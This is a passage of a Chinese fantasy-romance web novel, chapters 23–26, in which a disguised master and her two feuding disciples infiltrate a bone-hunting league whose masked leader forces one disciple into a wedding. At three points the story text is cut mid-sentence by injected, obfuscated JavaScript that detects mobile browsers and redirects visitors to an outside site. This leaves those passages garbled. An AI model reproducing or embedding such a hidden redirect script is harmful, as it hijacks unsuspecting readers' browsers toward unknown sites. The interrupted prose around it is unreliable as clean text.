“我一想,这世上还有这等好事,就跟着他去了。去了之后,才知道被骗了。” 纪长怀也来了兴趣:“怎么被骗的?” 鹰十七:“进了盟之后,我就被人灌了毒药。上面的人说,我要再找三个亲朋好友一起加入组织才能得到解药和他们承诺的两千水晶币。要么,我就得出任务。” “出任务?” 鹰十七:“就是和你们一起出来猎妖。老大说,只要参加九次任务也能得到解药。八号这个王八蛋,他自己也是被人骗进去的。他为了自己得到解药,又骗了我和另外两个人,这才得到了解药和两千水晶币。唉,我这人从小智商就不太够用,很难骗到新人,只好选择出任务来换解药。” 白骊珠这会大概明白了。原来这猎妖盟是通过这样的方式拉壮丁、迅速发展壮大的。而“江云泽”这人显然很不怎么样,为了钱不仅骗其他的大妖,还杀人不眨眼,难怪鹰十七不待见他。 还有,鹰十七说自己智商不太够,还是挺有自知之明的。 她又问道:“八号既然得到了解药,为什么还要出任务?” 鹰十七朝“江云泽”这边看了一眼,见他似乎并没有注意到这边,这才小声道:“八号得到解药之后,管事的说他如果继续出任务。每出一次就可以得到一千水晶币。他这人爱财,所以选择留了下来。我告诉你们,这人不可深交,小心他随时背后捅你们一刀……” 白骊珠还没说话,纪长怀也不怀好意地朝“江云泽”那边挑衅般地瞥了一眼:“我也早就发现他不是好人。鹰兄,我与雪娘和他不过是点头之交。等这次任务结束,我和雪娘绝不会和这种人有任何的交集……” 他故意加大的音量,分明就是故意要让十五夜听见。 于是很快,他也收到了十五夜凌厉冰冷的目光。 白骊珠见两个徒弟一言不合又开始互别苗头,只觉得一个头两个大,她赶紧道:“好了,天也快黑了,我们赶紧回去交任务吧……” 23. 第 23 章 白骊珠站起身道:“二百五十号,为了避免回去的路上再次遭到袭击,你在前面带路,我和十三号居中策应,八号负责殿后。” 她这么分配队形是最合理的,四人之中只有鹰十七知道猎妖盟的老巢在哪里,他自然是走在最前面。至于“江云泽”走在最后面,也符合他自私孤僻、和其他人关系不好的“人设”,至于“华樱雪”和“纪浩辰”,既然是一对妖侣,一起走在中间很是合理。 纪长怀心花怒放,他将这个安排视为自己对十五夜的绝对胜利。他的笑容连“纪浩辰”这张粗犷的脸都压不住,时不时发出傻笑声,引起前面鹰十七的频频回头,还有后面十五夜的怒目而视。 半个时辰之后,两人在一座山的半山腰看到了一座巍峨的宫殿。 这座山两天前白骊珠等人曾经路过,那时候这里并没有这样一座宫殿。但那日她已经亲眼见过“山河图”这种高阶法器,对这里突然出现这么一座宫殿也不感到奇怪。 她回头,示意落在后面的十五夜,以唇语询问:“山河图?” 十五夜点了点头。 宫殿门口,一名同样身着黑衣的管事等待已久,见到他们就迎了上来,招呼道:“你们怎么这么晚才回来,今天的任务完成了吗?” 白骊珠道:“今天遇到一点意外,遇到一名实力强劲的大妖偷袭,所以回来得晚了,好在任务完成了。” 管事没有起疑:“既然完成了,那就随我一起去见盟主吧。” 白骊珠心中大喜,他们这趟冒险的目的不就是为了探这个猎妖盟的底细吗?没想到如此顺利,这么快就能见到猎妖盟的首脑。 这山河图造就的宫殿不同凡俗,通体由青黑色大理石建造而成,阁顶镶嵌着一颗紫色水晶,在月色照耀下,耀眼夺目,平添一股幽异之感。 四人跟着管事沿着长阶而上,到了正殿之中。正殿两旁各有十几名蒙面侍卫,持刀而立,看起来压迫感十足。 高高在上的金色宝座之上,坐着一位穿着紫色华服的女子,想必就是这猎妖盟的盟主了。她脸上戴着一张朱雀纹的面具,金色为底,红色为纹,又掺着些许暗紫色,流光烁烁,既神秘,又邪诡。 金色宝座的后方站着一名蒙面的黑衣男子,守护着紫衣女子。 白骊珠心中一个激灵,这不就是那天逼蓝鹊儿献出灵骨、后来又以山河图将她和十五夜困在沙漠之中的两人吗? 想不到她就是猎妖盟的盟主。 管事躬身道:“禀盟主,今天八号、十三号、十四号、二百五十号完成了任务,特来回禀。” 紫衣女子朝下方扫视了一眼:“东西呢?” 白骊珠拿出一个装着那几位枉死大妖灵骨的袋子,交给管事,管事又献给紫衣女子。 紫衣女子打开袋子看了看,满意地点头:“任务完成得不错,给他们赏金和解药,带他们下去吧。” 管事带着四人退出大殿,他取出四个装着水晶币的袋子,分给四人,道:“这是你们今天的报酬和解药,你们先回东武殿休息吧,明天还有新的任务要交给你们。” 白骊珠掂了掂,里面足足两千水晶币。她心中暗爽,没想到这一趟还能有这样的意外收获。 管事的又拿出三枚药丸,鹰十七两眼放光,当即将药丸取过咽了下去。 白骊珠意识到这应该是猎妖盟用来控制诸人的手段,“八号”已经彻底解毒,自然是不需要的,剩下的两个自然是“华樱雪”和“江浩辰”。 她看了纪长怀一眼,一人取了一颗药丸,含入口中,却并没咽下。等管事离开之后,又找了机会将药丸吐了出来。 管事离开之后,鹰十七凑了过来:“十三号、十四号,听管事的意思明天还有新的任务。我想明天再跟你们一起行动,只要再混两次任务,我就可以离开这个见鬼的猎妖盟了。” 白骊珠他们在这地方人生地不熟的,遇到其他人难免露出马脚,只有鹰十七单纯好骗,便应道:“好说,明天分配任务的时候,我就和管事说,让他将你、我和十四号分在一起。” 鹰十七千恩万谢,一边往左边的东武殿走去,一边说道:“加入猎妖盟也不是完全没好处,这辈子都没有住过这么舒服的宫殿呢。刚上青崖的时候,整天餐风露宿,都没有好好休息过。” 三人跟着鹰十七到了东武殿,发现这座宽敞的宫殿被分成一个个小小的房间,各有编号。门上有一处凹纹,上面有数字,凹纹的形状与他们手上的令牌形状一致。想来,每一个猎妖盟的成员都在这东武殿有一个房间。 十五夜走到八号房间,拿出令牌镶嵌到门上,门应声而开。 鹰十七打了个哈欠,跟三人打招呼,道:“我的二百五十号房间离你们很远,我先走了。” 白骊珠和纪长怀各自拿出令牌,同时打开十三号房间和十四号房间的大门。 两人踏入房间,看到对方时,都吃了一惊。原来,这两个房间中间的墙壁被华樱雪和纪浩辰两人打通,变成了一间房,房间中也仅有一张大床。 这也正常,毕竟华樱雪和纪浩辰本来就是一对妖侣,睡在一起很正常。但她和纪长怀是一对师徒,住一间房多少有点不合适了,更不要说只有一张床。 纪长怀很自觉,他抱了一床被子在门口打地铺。 “今晚师父好好休息,我替师父守着门。” 他才铺好被子,一抬头,只见十五夜也抱着一床被子出现在门口。 纪长怀瞪眼:“你来干什么?” 十五夜冷哂道:“你以为就你能给师父守门?”他将被子铺在另外一个门的门口,径直躺了下去。 纪长怀哼了一声:“这又不是你的房间。” 十五夜眉眼一挑,语带嘲讽:“那又如何?你这细胳膊细腿的,能保护师父吗?” 纪长怀气得牙痒痒,他真想打人,可惜打不过。 不过纪长怀的生存法则一向是遇事不决抱大腿,我治不了你,难道师父还治不了你吗? 他立刻向白骊珠进献“谗言”:“师父,我觉得我们如今深入虎穴,还是该低调点好。按照‘江云泽’的人设,他一向独来独往,和华樱雪、纪浩辰也没有那么熟,他晚上跑到这两人的房间根本不合适,万一被这猎妖盟的人发现,可就太危险了。师父,你说是吧……” 言下之意,让十五夜哪里凉快哪里待着去。 白骊珠脑瓜子一转,觉得纪长怀说得有些道理。 而且女师男徒,独处一室本就不合乎规矩了。一师两徒,不合规矩乘以二。 她正要说让十五夜先出去,可一抬眼,十五夜同样看着她。 他如今顶着“江云泽”的脸。“江云泽”本是蛇族,双眼狭长,眼尾勾红,此刻这一对琉璃色瞳孔与她对视,其中似乎藏着无底的暗河,波涛汹涌,却又幽暗未明。 “师父真的想让我出去吗?”语气中含着莫名的委屈,仿佛要被抛弃的小猫。 白骊珠一个头两个大,考虑大局,还是斟酌道:“十五夜啊,你师弟说得有几分道理,今晚你还是回自己的房间休息吧……” 她垂下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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至于那其他的意味是什么,她不敢深入去想。 其实自山河图回来之后,她便感觉到这个大徒弟和从前有一些不一样。 自从在山河图中他喝过她的血之后,身体状况似乎比从前好一些了,动武之后不会再高烧晕倒,体格比之前健硕不少,这也稍微抹平了那张过于好看的脸带来的阴柔之气,让他的整体气质变得更加轩昂,也多了一些沉稳。 她直觉他从前应该是妖界的某个大人物,只是不知为何失去了记忆。 白骊珠的怀疑自然不是没有来由的。十五夜身怀天级灵骨,那天他也说了,灵骨是大妖的妖能晶化所产生。换言之,灵骨的等阶越高,妖能就越强。只是,她看过他的原身,和她一样是白鱼。 那么问题就来了,白鱼一族曾经的最强者是她父亲,已经在三百年前死在长月海的那场大灾变中。 她这个强得过分的同族又是从哪里突然冒出来的? 她更担心的是,随着十五夜身体状况的好转,他会不会慢慢地恢复记忆。 毕竟,十五夜现在的行事风格和先前不太一样。比如,他坚决要插手猎妖盟的事。 妖界是有“猎妖取骨者,人人得而诛之”的法令,但一般人根本不会将这当一回事,只要麻烦不找上自己就好,十五夜却是个例外。如果他真实的身份本就是妖界的某位大人物,这一切就可以解释得过去了。 她被自己的设想吓了一大跳,如果是这样,他说不定早已发现她根本就不是他师父…… 就在这时,外面响起了笃笃的敲门声。 她朝窗外看去,只见一对红烛隔着窗纱摇曳着微光。白骊珠心中一个激灵,问道:“谁?” 24. 第 24 章 “吉时到,奉盟主之命,迎新郎——” 不知是谁吊了一嗓子,窗外响起喧天的锣鼓声。大门中开,六名老嬷嬷鱼贯而入。 为首的嬷嬷向白骊珠行了一礼,笑道:“春宵一夜值千金,纪夫人却让自家夫君在地上打地铺,岂不耽误如此良宵?恰好今天大殿之上,我家盟主见纪公子模样周全,想向纪夫人借你家郎君一夜,请他当一晚的新郎。今夜纪公子将和我家盟主玉成好事,还望纪夫人不要阻拦……” 白骊珠的大脑一瞬间宕机。她感觉这老嬷嬷说的每一句话她都能听懂,可是加在一起就听不懂了! 堂堂猎妖盟的盟主,借别人的郎君,来当一晚的新郎? 还让“纪夫人”成全好事,不要阻拦? 不是,这猎妖盟的盟主这么饥渴的吗?连“有妇之夫”也要,还大半夜的公然入室强抢? 真是怪事年年有,今年特别多。特别多就算了,还这么离奇。 不等她回话,另外两名侍女已经将刚被吵醒、仍然一脸迷蒙的纪长怀从铺盖上拖了起来。 嬷嬷们拿出新郎礼服给纪长怀换上,又分出两人给纪长怀梳妆打扮,不一会,一个身着大红色婚袍、头束红锦玉冠、腰悬同心结、胸前绑着大红花的新郎官便装扮好了。 门口已停好一辆雕花绘彩的大红舆轿,侍女打起帘子,高喝道:“请新郎官上轿——” 四位嬷嬷扶着纪长怀往轿子上去。 纪长怀此时方从睡梦中清醒,他看向白骊珠,下意识要叫“师父”,话到嘴边总算记起自己“纪浩辰”的身份,改口道:“雪娘,这是怎么一回事?” 白骊珠上前一步,拦住众嬷嬷:“等等,猎妖盟就这样强抢别人的夫君吗?这件事我不同意——” 纪长怀也拼命挣扎起来:“我也不同意——” “我们盟主决定的事,你们不同意可没用。”嬷嬷的声音变得尖利起来,方才满面笑容的脸也变得阴沉:“盟主说了,纪郎君若不同意,就绑着去洞房。纪夫人若是不同意,就先抓起来。等盟主礼成之后再作处置,动手——” 两名嬷嬷拿出绳子,纪长怀瞬间被绑得结结实实。青丘纪家的贵公子何时吃过这等苦头,嗷嗷叫了起来,又被一张巾帕塞入口中。 另外四名嬷嬷同时出掌,四股庞大妖能同时向白骊珠袭来。 白骊珠心中大骇,她虽然假借十五夜打跑紫凰郡主的声势,成为纪长怀的师父。可她自己有几斤几两心里再清楚不过,对付其中一个嬷嬷也许有戏,对付四个那还是洗洗睡吧。 她现在万分后悔之前让十五夜离开。 咳,师徒三人同处一室荒唐是荒唐,但也不会比这猎妖盟盟主半夜抢别人家的“夫君”做新郎,更荒唐。 好汉不吃眼前亏,横竖纪长怀也不是她真的“夫君”,她着实没必要为此牺牲自己。 她向后一滚,凭借轻巧的身法避过四人联手一击,大声道:“住手,我有话要说——” 嬷嬷们停手,四双死鱼一般的眼睛一起盯着她。 白骊珠镇定下来,道:“嬷嬷们有所不知,我这夫君性子烈,一会洞房花烛夜只怕不肯好好配合,扫了盟主的兴,需得我劝他两句,免得回头闹得不好看,白白让我夫君吃了苦头……” 为首的嬷嬷见白骊珠改了口风,道:“纪夫人能想通这一层自然是最好,那就好好劝一下你夫君……” 纪长怀不可置信地瞪着白骊珠,就这么将他给卖了。可惜他嘴巴里塞了东西,说不出话,只发出呜呜声,以示抗议。 白骊珠一步一步慢慢朝纪长怀靠近,故意道:“夫君,现在形势比人强。你我二人敌不过人家,夫君若是不从,少不了吃苦头。夫君不如好好配合……” 纪长怀拼命摇头,两眼急得呛出眼泪来,可惜被五花大绑,还被两个嬷嬷死死按住,旁边另有四个嬷嬷虎视眈眈。 白骊珠走到他身旁,拿出一张帕子,道:“夫君,这也不是坏事,哭什么呢,我帮你擦擦……好了,别哭了……” 她蹲下身体,擦去纪长怀两颊的眼泪,一边趁此机会附耳在他耳边,用只有两个人听到的声音道:“长怀,你还记得先前十五夜给你的那颗药丸吗?一会你找个机会先把那颗药吃了,你不必着急,我会设法救你……” 她站起身来,露出一个笑容,对嬷嬷们道:“好了,我劝过他了。嬷嬷们快带新郎去吧,以免误了吉时。” 嬷嬷们扶着纪长怀上了喜轿,两人在前引路,四人抬轿,很快就消失在夜色之中。 白骊珠松了一口气,往八号房间奔去。 她先前没有反应过来,现在已经明白了。十五夜想必在大殿之上就发现了端倪,料到今晚会有事,才会抱着铺盖过来守门,可惜纪长怀犯浑,她也以为这又是师兄弟两人在师父面前争宠的日常把戏,将人撵走了,所以最后十五夜给纪长怀留了一颗药丸,还说指不定会有用。 她现在只能找十五夜帮忙,才能将纪长怀救出来。 她敲了敲八号房间的房门,无人应答。她使劲一推,门开了,屋内却空无一人。 白骊珠心中一慌,十五夜不在自己的房间,这么晚,他会去哪里? 她正要出门去寻人,一转身,却撞入一团的冷冽而幽深的气息之中。十五夜站在门口,他一身黑色衣裳,整个人与夜色仿佛融为一体,似乎刚从外面回来 白骊珠莫名安下心来:“十五夜,你刚才去哪儿了?你师弟被猎妖盟那个盟主强抢去了……” 她长话短说,给十五夜解释了一番方才发生的事情,然后道:“我现在找你,就是想和你商量该如何将你师弟救出来。” 十五夜一如既往地面无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938520|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情,白骊珠却分明觉得他唇角微微抽动了一下。他好像在努力忍住笑,幸灾乐祸道:“师弟今夜洞房花烛,这是好事,师父何必焦急?” 他向前一步,幽深的气息更逼近了一些,将她笼罩在自己的阴影中,似笑非笑:“还是师父将今日演的戏当了真,真以为和师弟成为一对妖侣,所以见不得他被他人染指。” 前一句话是淡淡的嘲讽,后一句却夹着隐隐的酸味。 白骊珠气更堵了,纪长怀被人带走,她急得要死,没想到十五夜还在这个节骨眼吃起莫名其妙的飞醋。 什么妖侣不妖侣的,如果不是十五夜提出要调查猎妖盟的事,她又怎么会和纪长怀扮演妖侣? 她正要发作,十五夜又退开一步,收起了他那欠揍的表情,笑了一声:“师父不必着急。不管师父如何偏心师弟,师父既然有命,别说是救师弟了,就算是刀山火海,弟子也在所不辞。弟子不及师弟会在师父面前讨巧,但是也想求师父一件事。” 白骊珠不解:“什么?” 十五夜那双过于好看的眼睛中升起了薄雾,声线也委屈巴巴:“师父可以不可以将师弟的偏爱,分一点给我……” 白骊珠内心:救命! 这都什么乱七八糟的? 她哪里有偏爱纪长怀,她明明一直很努力在两个徒弟中间端水,为何两个徒弟都觉得她偏爱另外一个…… 这水谁爱端谁端,她不想伺候了好吗! 然而,白骊珠想了想落入虎口的小徒弟,觉得还是应该努力给大徒弟顺顺毛:“阿夜啊,你误会了,我收纪长怀为徒只是为了钱,还有我让你去救他也是为了钱。你忘了吗?纪长怀可是我们的大金主,这一个月的束脩费都有两万的水晶币……” 十五夜似乎想到什么,眼一眯道:“师父收纪师弟为徒是为了钱,师父收我为徒又是为了什么呢?” 白骊珠心中一跳,她怎么敢说她也没安啥好心,不过是看上他的灵骨而已,收他为徒只是想等他早死,好给他收尸。 既然骗了人,就只能继续骗下去了,她声音多了几分诚恳,“阿夜,你和纪长怀不一样。你与我是同族,如今白鱼一族就剩你我两人,阿夜就是我在这世界上最亲近的人。” 白骊珠心中叹气,她感觉自己有点渣。骗人身体也就罢了,还想骗人感情。 十五夜似乎被取悦到了,嘴角扬起极轻的弧度:“世界上最亲近的人?当真?师父没骗我吧?” 白骊珠努力让自己看起来真诚一些:“师父怎么会骗你了,这些当然是真的。” 她双手合十,在心中默念道,老天爷可千万不要把她说的话当真,也不要降一道天雷来劈她。她保证做完这一票就收手,从此当个妖界良民,再也不骗人了。 十五夜抓起她的手:“好,我这就带师父去找纪师弟。” 25. 第 25 章 十五夜拉着她离开东武殿,往整座宫殿最高处飞掠而去。不知为何,黄昏时分还颇为热闹的宫殿这时一片死寂,连一点声音也没有,也没有任何的守卫,就连两个大活人飞过也没有惊动任何人。 很快,十五夜就拉着她到了一座宫殿旁,宫殿门梁上处处装点着朱红绣缎,窗户上张贴着大红囍字,窗扉之中隐隐透来红烛光影。 白骊珠小声问道:“这是今晚的新房?” 十五夜点点头,伸手一拉,已带着她上了房顶。他轻手轻脚地从房顶上揭下两片宫瓦,和白骊珠一起窥视房内情形。 房间之内,纪长怀身着喜袍,端坐床上,俨然一位等着迎接新妇的新郎官,唯一美中不足的是,他的身体被五花大绑,想挪动一下手指头都做不到。 作为一个战五渣,纪长怀很有自知之明。 指望靠自己的力量逃脱,这是不可能的,既然师父说了会来救他,他相信她一定会救她的。当然,当务之急是想办法找机会,按照师父的吩咐,将师兄十五夜给他的那颗药丹吃下去…… 那药丹先前被纪长怀塞在胸口的荷包之中,倒是没被猎妖盟的人搜走,只是他双手受制,也无法取出。 他拼命蠕动身体,想要将手从绳索中抽出来,不想越挣扎这绳索竟然越紧。他一下不小心,从床上栽到地上,摔了个倒栽葱。 一双大红色的绣鞋停在他跟前,女子轻佻的声音从上方传来:“哟,怎么搞成这样,怎么,难道夫君不愿做这新郎?” “唔……”被堵住嘴的纪长怀艰难发声。 女子蹲下身,伸出右手,扯下他口中的帕子,扔到一旁。又用手划过纪长怀的脸庞,顺着下颚线下移,托起纪长怀的下巴,逼他与她对视。 她同样身着大红色的嫁衣,头戴凤冠,珠翠满头,只是脸上仍然戴着那张朱雀暗纹的面具,只能看见一双幽深的眼睛。今晚的新娘果然就是这猎妖盟的盟主。 纪长怀身体一个激灵。女子的手冰冷,就像一只冰冷的毒蜘蛛在他脸上爬过,几乎激起他生理性的厌恶。如果他现在能动,一定毫不犹豫将她的手拿开,可是他现在却为人阶下之囚,只好闭上眼睛,不去看她。 不行,他必须得找机会吃下十五夜给他的那颗“神药”。 就算那是一颗毒药,吃完马上就死,纪长怀也忍不了要和这样的女人成亲。 女子的声音传来:“呵,怎么,夫君讨厌我,不愿看见我?” 纪长怀深吸一口气,压下心中厌恶,睁开眼睛,用尽量平静的语气道:“怎么会呢?只是如今我被绑得这般紧实,如何能成大礼?” 女子咯咯笑了一声:“看来是嬷嬷们不懂事,我这就替你松绑。” 尖利的匕首划开绳索,纪长怀身体一松,他舒了一口气。女子已经拥着他的胳膊,往喜床上去,看似要直奔主题。 纪长怀道:“等一等。” 女子道:“等什么?” 纪长怀见不远处的喜烛旁摆着酒壶和酒杯,灵机一动道:“还未饮过合卺酒,怎么做夫妻?” 女子笑得花枝乱颤,“想不到夫君还颇知情趣,好,好,今夜新婚,你我是该一起饮下这合卺酒。” 她拿起酒壶,倒了两杯酒,递了一杯给纪长怀,自己拿了一杯。 两人右臂相缠,各自举杯,女子娇笑道:“今夜夫君与我共饮此酒,玉成好事,此后夫妻一体,永结同心,不得反悔。” 纪长怀趁着喝酒的机会,将那颗“神药”放入酒杯之中,那药入口即化,纪长怀毫不犹豫,将杯中之酒一饮而尽。 当然,他喝之前也想过十五夜给他的药到底是什么,有什么功效。 结合十五夜当时扔下的那句话——“只是这颗药丸师弟你记得收好,今晚师弟说不定用得着。” 用得着。 以他现在的处境,什么东西他能用得着? 当然是类似“金刚无敌丸”之类的药丸,吃下一颗,就能体如金刚,力如蛮牛,以一当千,能从这见鬼的女妖手中脱身。 这想法是离奇了些,就算纪长怀三百年的生涯中从未听说过这等神物。但是其他他听过的药,也应付不了他现在的局面。 于是,纪长怀吃下药之后,就等着能突然气盈丹田,一拳打十个。 可惜,他等了半天,丹田的气息是一点没涨,甚至他的妖能还下降了一些,身体也好像隐隐有点不太对劲,倒是皮肤变得更加细腻有光泽,双手细嫩,柔若无骨,更像女子的手。 纪长怀简直要哭出来,难道十五夜给他的药竟是能变美? 十五夜,你在这儿整我呢? 我不要变美啊,我要变强啊—— 另外一边,女子本不胜酒力,喝过合卺酒后有些意乱情迷,上来撕扯纪长怀的衣服,声音越发娇媚起来:“纪郎,你喝酒之后的模样真美……” 纪长怀往床后一躲,女子却更进一步:“夜已深了,接下来你我该享那鱼水之欢,早登极乐之境……当然,在此之前,你我也该坦诚相见……” 她揭开脸上的面具,露出一张纪长怀极为熟悉的脸。 那是母亲为他定下的未婚妻——出自羽族的紫凰郡主,纪长怀正是为了逃婚才跑到青崖来。没想到他绕了一大圈,还是没有逃过。 这简直就是对纪长怀身心的双重打击,他用手指着紫凰郡主:“竟然又是你,我早告诉过你,我纪长怀宁死不从,就算从悬崖上跳下去,也绝不会娶你做我的妻子——” 紫凰郡主被一盆冷水当头浇下,酒也醒了大半,她冷笑一声:“纪长怀,你不愿意又如何,你已经和我饮过合卺酒。今天晚上,我就要生米煮成熟饭,你从也得从,不从也得从。只要我生下青丘纪家的继承人,届时妖界五族都会认可这门婚事,你同不同意,又有什么要紧?” 她按住纪长怀的手脚,伸手往他下身一探,欲要强行行事,却扑了一个空。 紫凰郡主一下子愣住,她露出不可置信的眼神:“怎么回事?你不是男人?青丘纪家把女子当男子养,你怎么不早点说——” 话一出口,纪长怀懵了。 他很快就知道自己哪里不对劲了——刚才喝了那加了神药的合卺酒之后,他的身体男性特征消失,竟然变成了一个女人。 该死的—— 十五夜一定是故意的,就是为了报复自己赶他出去这事。 纪长怀脸涨得通红,羞愤欲死。 三重的打击让他几乎爆炸,简直想和紫凰郡主同归于尽,要不是他被她被强抢来当什么新郎官,他怎么会相信十五夜的鬼话?又怎么会遭受这样的尴尬和屈辱? 他咆哮着向紫凰郡主扑了过去:“我和你拼了……” …… 房顶之上,白骊珠看着眼前的一幕,问十五夜:“十五啊,你给长怀的那是什么药?” 十五夜老神在在,十分镇定,好像下面的那场闹剧与他无关,“没什么,就是一点小小的手段,可以让他变美……” “变美?”白骊珠觉得如果只是单纯变美,下面应该不至于上演这么夸张的戏码。 “还有顺便施展了一下障眼法,让他和紫凰郡主都觉得他是个女子……放心,这只是障碍法,他的身体并没有什么改变……” 白骊珠:…… 十五夜似乎心情颇好,主动解释道:“师父,我这也是为了师弟好。如果不这么做,落入紫凰郡主手中,今晚师弟的清白就不保了。等他们生米煮成熟饭,一切都晚了……” 白骊珠发现事情的盲点:“你早就知道猎妖盟的盟主是紫凰郡主?” “也没有很早,昨天黄昏我们在大殿上才知道。”他曾先后和紫凰郡主交手两次,先是遇到纪长怀的时候,再是那天晚上救蓝鹊儿,当时紫凰郡主戴着面具,只凭两次出手,他就能够判定两者为同一人。 白骊珠:“你怎么知道今天晚上紫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943532|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凰郡主会抓纪长怀做新郎,还提前给他……那种……药?”他们三人潜入猎妖盟,各自乔装,而且如今纪长怀还顶着“纪浩辰”的脸呢,紫凰郡主又是如何发现“纪浩辰”就是纪长怀的? 十五夜轻笑一声:“当然是因为有人告密。” “谁?鹰十七吗?”不可能啊,鹰十七迟钝得可以,根本没有发现自己的三个队友全都换了芯子。 十五夜脸上笑意愈浓:“不是他,是我。” 白骊珠瞠目结舌:“你?” “不错,是我将纪浩辰就是纪长怀的身份告知紫凰郡主。” 白骊珠瞠目结舌,“不是,阿夜,就算你和师弟不和,想要打击报复他,也没必要这么坑他吧。” 她突然觉得,小心眼的男人真可怕。 十五夜一脸无辜道:“师父误会我了。身为师兄,理应爱护师弟。就算师弟对我多有怨气,不许我和师父共处一室,将我扫地出门。我也断无一丝打击报复之心。就算师父偏爱师弟,弟子也绝无忌恨之意……弟子这么做,只是为了查清猎妖盟的底细。” 白骊珠心道,我要是信你就有鬼了。既然你已经知道猎妖盟的盟主是紫凰郡主,还需要查什么底细? 还有,十五夜怎么也学会告黑状这一套,这茶里茶气的语气又是跟谁学的? 十五夜见她不信,正色道:“师父,我说的都是真的。猎妖盟的盟主如果是一般人,这件事情并不难办。猎妖取骨,按照妖界五族公认的律法,人人得而诛之。但紫凰郡主是羽族女王翎天的侄女,说不定还有机会成为翎天的继承人,如果这件事出自翎天的授意,事情就难办了……” 白骊珠越发糊涂了:“可这件事又和纪长怀有什么关系?” 十五夜道:“当然有关系了。你可知紫凰郡主为什么非要嫁给纪长怀?” 白骊珠摇头。 十五夜:“因为羽族女王有意退位,在她的两位侄女翎凤郡主和紫凰郡主两人中选择一人为继承人。翎凤郡主前几个月与蛇族王子扶疏结亲,因为这层关系,翎凤的赢面要更大一些。紫凰郡主因此想和兽神陆崖的外甥联姻……” 等等,白骊珠莫名觉得有些不对劲,“徒儿,你是怎么知道这些事的?” 她心中有点慌乱,最近她一直觉得十五夜和从前大不一样,一直担心他恢复记忆,戳破自己的谎言。谁知,十五夜对她这个“师父”一直和从前一样,一点也没有被骗的反应。 虽则如此,每次十五夜表现出超出她意料之外的能力,她都十分紧张。她越来越觉得,十五夜从前的身份不那么普通。她的头上像套着一个绞索,虽说绞索并没有绞杀她的意思,可她心里有鬼,总觉得有一天自己会面临审判。 十五夜同样也有些紧张。龙神溯夜虽然宅在青崖三百年,但身为水族大君,于妖界大事多多少少还是知道那么一点点,羽族两位继承人的事恰好在这一点点的范围内。 但根据白骊珠口中的“十五夜”的设定,他明显不该知道这些事。 他最近的破绽已经太多了,也许白骊珠已经开始怀疑自己徒弟的皮下已经换了人。这几天,白骊珠亲近纪长怀而疏远他的时候,他总是疑神疑鬼,觉得白骊珠是在怀疑他,试探他。 刚才,他应该又露出破绽了,毕竟“十五夜”不可能会知道与羽族女王之位继承人相关的秘辛,所以白骊珠才会用这般谨慎的眼神看他。 好在,他还可以找“失忆”的借口。 他揉了揉脑袋,说道:“不知为何,这件事情突然出现在我脑海里。我想这可能是我以前的记忆,师父不是说过我与师父分开了一段时间吗,也许我就是在和师父分开的时候知道的这些事……” 白骊珠松了一口气,看来他并没有完全想起来,她暂时还是安全的。当前还是应该先解决以纪长怀和猎妖盟的事情,然后早点上青崖,拿到龙神之心就行。 其他的事情,现在多思无益。 26. 第 26 章 白骊珠:“那你继续说这又和猎妖盟有什么关系?” 十五夜:“如果紫凰郡主建立猎妖盟,趁龙神溯夜身死,青崖大妖云集之时猎妖取骨,这一系列的是皆是出自翎天的授意,那么几乎肯定紫凰郡主已经被内定为翎天的继承人,翎天才会对委以重任。这样以来,她便不在需要和青丘纪家联姻。相对而言,这件事情后果严重得多,很有可能妖界其他四族将不得不同羽族开战——” 羽族势力强大,翎天女王的实力较之从前的龙神溯夜也相差不远。十五夜目前的实力最多只有她的一半,其余妖界诸王,也都不是翎天女王的对手。一旦开战,于妖界将是一场浩劫。 一旦妖界内乱,里世界的魔族必定蠢蠢欲动。这是龙神溯夜最不愿意看到的事。 当然,现在的情形好多了。 十五夜给白骊珠解释道:“我将‘纪浩辰’就是纪长怀的消息告知紫凰郡主,她选择趁此机会于纪长怀成亲。一旦两人生米煮成熟饭,青丘纪家和整个兽族都无法反悔,成为紫凰郡主与翎凤郡主竞争的筹码。这恰恰说明,此事是紫凰郡主肆意妄为,并没有得到翎天的首肯,那么事情就好办多了……” 他指了指下方的新房:“我觉得师弟一个人就能搞定。” …… 新房之内,纪长怀羞愤交加,只恨不得和紫凰郡主同归于尽。如果不是紫凰郡主逼婚,他怎么会吃师兄给的“神药”,又怎么会变成一个女人。 他看到房间墙壁上悬着一把宝剑,冲上前去,将宝剑抽出,刺向紫凰郡主。 他本来不会武,十五夜那天为了逼他假扮纪浩辰,将纪浩辰妖骨中蕴含的妖能灌入他体内,强迫了他看了一边纪浩辰的剑法,又逼他演练了一遍。 他当时根本不想学,不过敷衍了事。 此刻激愤之下,拔剑一刺,竟然已有八九分长生剑法的神韵,紫凰郡主猝不及防,鲜红的嫁衣被截去一段袖子,总算她反应及时,才避开要害。 “这是我的剑——”紫凰郡主大怒。她和纪长怀联姻,除了想要倚仗兽族的声势之外,更因为纪长怀软弱无用,将来只会受她拿捏。 谁知纪长怀竟然夺了她的剑,还给她来了一出先发制人。 这如何能忍! 